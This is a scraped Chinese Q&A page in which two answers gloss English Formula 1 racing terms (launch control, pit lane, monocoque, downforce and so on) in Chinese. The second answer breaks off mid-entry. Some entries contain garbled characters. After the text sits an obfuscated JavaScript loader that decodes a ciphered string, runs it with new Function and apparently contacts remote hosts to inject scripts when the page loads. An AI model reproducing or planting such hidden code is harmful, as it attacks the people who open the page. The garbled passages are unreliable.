f1资料英文的

2025-02-08 02:14:53
推荐回答(2个)
回答1:

楼上的不错,我就从字母L开始补充吧,L-R

Launch control
起跑控制,用于F1赛车起步时的电子程序,2004年被禁止。

Lap / Lapping
圈(名), 要超过某车一圈(动)

Lock-Up
轮胎锁死

Logistics
后勤,转战全球的F1比赛需要富有经验的后勤服务。每场F1大奖赛,需要运送的物件清单长达20页,要120个尺寸不等的箱子才能装完。这些东西主要包括两辆比赛用车、一辆备用车加备用部件和工具、轮胎和维修站设备,另外还有五到六台引擎、计算机和笔记本电脑、100多个步话机、1500多条印有车队LOGO的餐巾,以及所有车队的基础设备等等。总之,一支车队在一个大奖赛周末需要运送的部件大约在10000件。

Lollipop
棒棒糖,一面写着''Go'',另一面写着''Brake''的信号棒。当赛车进站时,一位机械师站在赛车的前方,用信号棒告诉车手,何时需要刹车,何时需要挂档起步。

Manufacturers
制造商,任何试图进入F1的制造商,必须向FIA证明他们具备设计和制造赛车底盘的能力。所有车队同时需要证明他们拥有足够的技术和经济资源参与全年的比赛。除了因为非常特殊的情况外,任何一个制造商必须参加全年的比赛。

Marbles Rubber
轮胎损耗以后在赛车正常的行驶线以外流下的轮胎碎片颗粒,这能致使轮胎与地面的抓地力减弱。

Marshals
赛道工人,沿着赛道的官方服务人员,他们的职责是挥舞旗帜和防止任何可能的事故,他们同时需要负责救援任何出事车辆。

Medical car
医疗车,医疗车由比赛医师负责,像安全车一样,在每一场比赛的练习、排位和正赛时,它必须始终在维修站出口处待命。

Medical Center
医疗中心,每一条F1比赛和测试赛道,必须具备一个艺术级的、由富有经验的医生组成的紧急服务设施。一架救援直升机必须一直处于待命状态随时准备行动,如果不能保证这些,比如出现大雾,比赛将不能进行。

Mobile Chicane - 移动式障碍物 (指慢车)

Monocoque
单体壳,用碳纤维复合材料制成的安全仓,车手生命的保证;在其周围环绕着可变形的结构,用于吸收在事故中的撞击能量。

Motor 引擎

NACA
鳃孔,位于车身表面的裂缝状的气流出口,用于提供更好的冷却。

Nomex
诺梅克斯,人造纤维,在实验室中进行耐热测试。必须能够经受距离为3厘米,摄氏300到400度的明火,如果在10秒内没有点着,才可用于制造赛服。车手和车队人员的内衣、头罩、袜子和手套都是用诺梅克斯制造的。

Nose
车鼻,F1赛车的前半部分,为了安全要求,必须满足正面和侧面撞击测试。鼻锥同时具有在撞击中保护单体壳的功能。

Oil pressure gauge
油压表

On-board camera
车载摄像头,位于车身上的迷你电视摄像头,它可以被装在赛车的气箱、后视镜以及前后翼上,在练习、排位和正赛中提供实时的动态画面。

On-Rail
像在铁轨上 (指悬吊佳)

Out Break
较晚煞车 (超车用语)

Overalls
工作服,用两到四层NOMEX材料制成的保护服,同时供车手和车队人员使用,在衣服的手腕部分和踝关节部分设有弹性的护腕。衣服在进行最后的测试前,必须能经受15次洗涤或者15次干洗。它必须能够经受住600到800摄氏度的高温,评价的标准是将衣服放在火中11秒后,内部温度不得超过40摄氏度。

Overbraking
刹车过度,指车手的制动力度多大,以至于让车轮抱死。如果前轮锁死,赛车将失去转向能力,并且会造成轮胎的严重磨损,如果同时让车身失去平衡,便被称为braking puncture

Oversteering/Over Steer
转向过度,当赛车发生转向过度时,车尾向弯外甩出,赛车有失控的危险。为了通过弯道,车手必须减少转向角度。当出现极端的转向过度时,甚至需要反打方向盘。

Overtake
超车

Paddock
装备区,设在赛事赛道的起跑位附近,这是车队管理和休息区及运输车辆停放的地方。

Parc fermé
车辆检查,在每个大奖赛周末,维修站中供FIA的技术专员对赛车进行检查的区域,以确保参赛车辆符合技术规则。

Pass the car in side or out side
里道或外道超车

Penalties
处罚,对违法F1规则的车手执行的处罚可以从警告到终身竞赛。其他的处罚还包括罚款、暂停一两场比赛和扣除积分。如果车手在排位赛中违反运动精神,或者违反技术规则,赛事专员可以取消他的所以的排位成绩。

Petrol
燃油,只有超级无铅汽油才能用于F1,虽然它和能在普通加油站得到的98号无铅汽油在很大程度上是一样的,但是F1燃油中加入了添加剂,以确保更快和更好的燃烧。另外,它还比普通的商业汽油轻。每一支车队允许自由选择燃油供应商,他必须在赛季开始前向FIA提交使用的燃油样品,以供测试。

Pits
维修区,用于车队摆放赛车并在比赛前调试赛车以及比赛时完成进站维修等工作的地方,这是车队比赛周末工作的核心地。

Pit Crew
后勤维修人员,指在维修区负责车队的工程师和技师。

Pit lane
维修站通道,位于维修站的正前方,在比赛过程中,赛车进站将在这里完成。从2004年开始,维修站的限速从80公里提高到100公里/小时,这是为了给车队提供更具弹性的进站策略。但是在有些赛道维修站通道特别狭窄,像摩纳哥,进站速度被降低了。

Pit Strategy
进站策略

Pit stop/refilling
进站加油,比赛过程中有规则的进站,一次进站/加油大约需要15到20个机械师同时协作完成。在加油时,机械师必须戴上头盔,身穿由NOMEX材料制成的防火服,标准的加油管和设计精良的注入阀门将确无保任何燃油泄漏。

Points system
积分系统,从2003年开始,每场比赛前八名的车手都有权获得积分,分别是10,8, 6, 5, 4, 3, 2,1。

Pole position
杆位,正赛时发车的第一个车位,它给予排位赛中最快的车手。

Practice
练习赛

Pull-rod
拉杆,底盘的一部分,与悬挂装配的拉杆结构

Push-rod
推杆,底盘的一部分,与悬挂装配的压缩结构。

Qualifying/Qualifying Session
排位赛,决定正赛发车位置的比赛制度,目前F1采用的是三阶段排位制。

Race Commission
赛事委任,是FIA为每个比赛周末的委任。 赛事委任需要监控赛道上行为,同时确保安全规则制度严格执行。国家的赛事总监由该国的赛事权威机构任命,他必须拥有FIA的超级执照,并且负责在比赛中协调所有的官员,他同时需要和他的上级,FIA赛事总监合作。

Race director
赛事总监,FIA的赛事总监负责在比赛周末监督安全标准,并在必要的时候对其进行改善提高。 另外,他还决定在比赛中是否需要出动安全车,是否需要提前结束比赛。如果某位车手违反了体育精神或者威胁到其他车手的安全,赛事总监还有权对其执行处罚,当前FIA的赛事总监是查理-怀汀,来自英国

Race Number
赛车号码,新赛季之前FIA会根据前一年的车手排名,给予每辆F1赛车一个号码,此号码必须是很清楚地展示于车体的车鼻翼两侧,离地高度最少要有25mm。13这一数字西方人特别忌讳,因此13赛车号码,是没有的,即没有被使用过。

Race stop
比赛中止,如果极端的天气情况威胁到比赛的安全(例如大雨)、或者一辆出事的赛车将赛道堵死,赛会将出示红旗,表示比赛提前结束。

Racing line
比赛线路,也叫理想线路。这是一条假想的线路,车手如果沿着这条线路行驶,圈速将最快。由于在这条路线堆积着厚厚的橡胶,所以通常也是抓地力最好的线路。

Radar
雷达,使用雷达系统能够防止在低能见度下发生追尾,如果在某车手的正前方出现了赛车,雷达能够通过发射电子警告信号提醒后面的车手 。

Radio
无线电 (这里不指收音机)

Radiator
散热器

Rally
拉力赛

Rear light
尾灯,用于减少追尾危险的安全设备。当赛车使用雨胎时,尾灯必须持续点亮。尾灯由30个发光二极管组成,尺寸不得小于6x6厘米,要求安装在距离车底参考面35厘米以上的位置。

Rear wing
尾翼,也叫后掠翼,主要为后轴创造下压力,尾翼的设置必须适应赛道,翼片越陡,下压力越大。尾翼的设置和表面的角度可以进行进一步改进,这种改进是赛车设置的一部分。

Refuelling
加注,在F1的比赛,只允许对燃油、氮气(永远轮胎)以及压缩空气进行再填充。

Regulations
规则,FIA的技术规则有两个主要目的,为了安全速度必须被控制,同时必须保持F1的生命——不断进步的技术。另外,安全还必须在出事的情况下得到保证。为了完成这个目标,以下的因素受到限制:引擎排量、燃油成分、轮胎尺寸、轮胎接地面积、最低重量和车身宽度。

Re-start
比赛结束前重新开始。

Retire / Retirement
退出比赛

Roll-out
首航,指新赛车首次进行测试,一般是在排他的情况下秘密测试。

Roll-over bar
防滚架,用金属或者复合材料制成的,位于车手头部上方的弯曲支架;它能保证车手在翻车的情况下免受更大的伤害。自1999年费斯切拉在纽伯格林发生严重的事故后,防滚架便要求执行严格的撞击测试,以达到严格的安全标准。

Roman
罗马人 (有时指 Fisichella, 因他是义大利罗马人)

Rookie
新手

Rubber
橡皮, 轮胎的另一称呼

Rubber build-up
胎印,轮胎表面发生的缓慢腐蚀,当轮胎在行驶的过程中,表面的橡胶会发生脱落

回答2:

F1术语表A-Z(学英文,长知识)
Aborted start:停止起步
这是比赛一开始出现状况所不得不中断比赛时,赛会组织者采取的一种措施。
Aerodynamic:空气动力学
这是指相关于空气流动的科学,和气流作用于某一物体所产生种种情况的研究。在汽车运
动中,车身设计尝尝有关于产生下压力。 简而言之,气流将高速的赛车姥姥地向下压在赛
道上。
Aerodynamic balance:空气动力平衡率
指赛车前部下压力占总体下压力的比率。如果比率增大,车在告诉行驶中会容易产生过渡
转向。若比率降低,汽车则会产生不足转向。
Aerofoils:空气翼板
在汽车外部结构中设计的一种能产生下压力的装置。
Airbox: 进气箱
一种安置在车手头部位置后面的空气吸入装置,用于为发动机提供空气。
Apex:弯切点
通常称作为“切点”。一般是靠近转弯内半径的中点。如果在转弯处车手驶过弯沿,会沿
着这个点的切线驶过。
Appeal:上诉
当车手或者车队忧郁违反规定而受到赛会判罚驶,如果他们认为自己所受到的判罚驶不合
理的,可以采取这一项规定来争取自己的利益。
Aquaplaning:浮水
当赛道上有过多积水时,而雨性的轮胎也不能将积水排去时,就出现轮胎孚在水面上,无
法与赛道表面进行良好的接触。
Ballast:压舱物
放在车体内的物体,以增加赛车车身的重量,保证车体的总重量打到规定的标准值600kg

bargeboard:档风侧围板

black box/ADR:黑匣子
黑匣子时一种干抓更年在车内用来记录车在运行过程中数据的仪器。FIA可以用气数据进行
事故调查。
Blistering:起水疱
当车胎过热时,橡胶上会产生小的水疱,引起胎内外表面相互脱离。
Bottoming:底部
这是车手用来形容车地步与路面接触状况的术语
brake balance: 制动平衡
车前后制动系统制动压力的比率�梢杂沙凳肿孕械髡��云浠竦米罴训闹贫�Ч�?br>Ca
rbon fibre:碳素纤维
一种很轻却很强韧的材料,用以制造很多赛车的部件,如承载式车身底盘、车身、鼻翼和
尾翼总成、前悬盖等。
CFD:计算机流体动力设计
全称是computational fluid dynamics的缩写,是运动模拟流体动力计算机进行辅助设计
的一种方式。CFD常用于设计的过程当中,是配合风洞及赛车测试的一种设计程序。
Chassis: 底盘
一辆赛车(或者任何运动车)的车身框架,包括悬架和车轮,与车上所有其它部件相联。
现代F1赛车的底盘是由碳素纤维复合材料制成,它的结构不仅很轻,而且强度很高和耐用
性很好。
Chicane:低速弯段
指一系列方向左右左右的慢速弯段,以打到减慢撤诉的安全效果。
Clean air: 最适宜的气流
指没有因前面车行驶而造成不稳定因素的空气流动。因此这是最理想的空气动力环境。

Cockpit:驾驶舱
属于承载式车身的一部分,容纳车手的空间。
Concorde agreement: 协和约定
这项约定是FIA和车队们之间共同协商后签署的。它包括一系列的项目,包括电视转播权和
参与比赛实际收入份额的分配,还要运动方面和技术方面规则的变化。这项约定也是在不
断的更新的。
Constructor: 制造商
这里的制造商是指赛车底盘的制造商。在很多情况下,它不同于发动机制造商,而且底盘
之上的命名总是在发动机制造商之前。在获得年度车队制造商锦标赛冠军时,胜利的头衔
是授予底盘制造商的。
Damper:减振器
这是一种汽车上的减振装置。用于控制赛道对悬架引起的动态响应。
Differential: 差速器
这是一种机械装置,常安装在变速器装置的里面,它的作用是驱动和调控驱动轴,能够使
得驱动轴在不同的速度下旋转。
Dirty air: 不良的气流
由于旁边通过的赛车而产生扰乱的气流。另一辆车忧郁靠得很近,在整个正常的气流区域
,对空气动力性引起阻挠。由于下压力的完全损失,后面的车显得转向失效,而且失去抓
地力,甚至可能产生侧划现象。
Diffuser: 扰流器
车下部后方安装的一种装置,以增加气流压力所付出的代价是降低了车的速度。
Downforce: 下压力
作用在汽车上,产生向下作用的一种空气动力学中的受力,以增加了牵引性。
Drag: 阻力
当车向前行的过程中,而产生的一种空气动力学中的阻力。
Drafting: 在赛道上急驶的赛车会产生一个真空区域,一辆尾随的赛车很容易被“吸入”
这一区域内,然后会被迫被前面的赛车带动。其他方面,这会提高燃油经济性。
Driver aids: 车手辅助系统
指对启动、牵引和变速换档等程序由ECU进行控制。它可保证即使在变化的路况下,赛车也
能有最好的表现。
ECU: 发动控制系统
发动机控制系统即车载电脑,指车内的电脑对发动机的所有功能、车手辅助凶和就÷数据
遥测仪等进行调节和控制。
Endplate: 末端衬板
放置在翼板末端的一个空气动力附件,用来增加下压力,以及有利方向的气流。
Engine mapping: 发动机参数变化关系图
不同的参数之间的数学关系,一旦其中一个参数改变了,其他数据也会随之改变,以达到
最优化的性能。这些关系的表现形式已被制成图表更直观的表达出来。
FIA: 国际汽车运动联合会
国际汽车运动联合会,是总部设在巴黎的国际汽车运动的最高权力机构,它主要负责统筹
世界各国汽车运动,有一系列国家级会员。它制订汽车运动的规章只读,包括比赛用的运
动规则、技术规则等,并碱度其执行情况。FIA还协调安排世界范围内的各项汽车比赛,包
括F1世界锦标赛。
Flat spot: 如果车手突然制动而导致轮胎抱死,会造成轮胎部分区域的严重磨损。
Flying lap: 最快速的赛圈
也叫作“计时圈”。不同于常规的测试圈,车手需用最快的速度跑完,以确定他的发车位
置。
FOCA一级方程式制造协会
一级方程式制造下回,此机构成立于60年代。它代表了车队老板的利益。
Formation lap: 热胎圈
比赛前的热胎圈,这是一项保障比赛安全进行的措施。它旨在减少比赛时赛车无法葱起跑
线正常发动的可能性。
Free practice: 自由练习
自由练习赛是在每场F1分站比赛前的两天进行(在摩纳哥是三天前),它是作为一个赛季
F1赛历中的固定安排。
Fuel tank: 燃油箱
一辆F1赛车的燃油箱必须是一个由橡胶制成的皮囊,而且必须是由FIA认定的制造商制造。
另外,燃油箱的旁边必须是可压碎结构的部件,也就是合成在碳素纤维的车手坐舱。
Gravel trap: 砾石缓冲区
指在车道外转弯处铺上碎石,使得哪些侧划出赛道的车尽快安全的减速并停止。
Grid: 起跑位
起跑的排列是根据每辆车在排位赛中的成绩排列而定。赛车起跑分成两个队列,获得排位
首发的赛车比另一辆同排的赛车在8米前的发车线发车。
Grip: 抓地力
当汽车转向、加速或者制动时,作用在车胎上的力。
Grand prix: 大奖赛
它是指一级方程式锦标赛,首场被称之为“大奖赛”的比赛时在1906年勒芒举行的法国俱
乐部汽车大奖赛,它的赛程大限制为“大排量的赛车”,也就是后来的“一级方程式”赛
车。从此,各式各样的大奖赛与使用各种轮胎的在各个赛道上进行赛车紧紧联系在一起。

Grooved tyre: 沟槽轮胎
从1998赛季起,被强制性引入,主要是为了降低赛车过弯的速度,和增加比赛中赛车超车
的机会,以前的光滑轮胎在F1赛中用于干地的情况下,现在都带有了纵向的沟槽花纹(前
轮通常有3条,后轮4条)。这些沟槽减少了17%的轮胎接触面。在1999赛季,F1赛车的前
轮胎必须有4条沟槽,与后轮一样。
Ground effects: 地面效应
在一辆赛车的下方气流会产生一个低压区,它会把赛车牢牢的“吸”在赛道上。赛车犹如
一架忽上忽下的、极不稳定的飞机(因此被称为“倒流”效应)。但又不同于航空飞行,
所受的力使得赛车向下推压,增加了不少空气动力方面的下压力,使得赛车在转弯处仍然
保持很高的车速。
Hairpin bend: 发夹弯 (果然是女孩子用的发夹哦,就是搞不懂李兵他们干嘛老把头发的
“发”念成第三声。-_-?)
这是指赛道上的一种低速的U型弯道。
Installation lap: 测试圈
通常是在比赛当天第一个进行测试的单圈,用来检测赛车的各方面系统是否运转正常。

Intermediate tyre: 中性轮胎
这种轮胎用于半于半湿的赛道路面情况。相对雨天专用轮胎来说,一般会有很少而浅的凹
槽。
Jump start: 抢跑
如果某辆赛车在开始起跑的信号红灯熄灭前,就移动了赛车,安装在每辆赛车出发线的地
面下的传感器会将信号传到比赛起步系统的控制中心。
Kerb: 赛道定界线
指在赛道两旁的定界划道线,而且指明了外道的内外界,以示车手。
Left-foot braking: 左脚制动
一种制动的方式,令车手们能够用右脚踩踏节气门踏板的同时,可以用左脚踩踏制动踏板

Lift: 抬升力
空气流动产生的作用力引起的一种向上的抬升力。
Lollipop: 信号板
当车手进入维修站加油时,

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();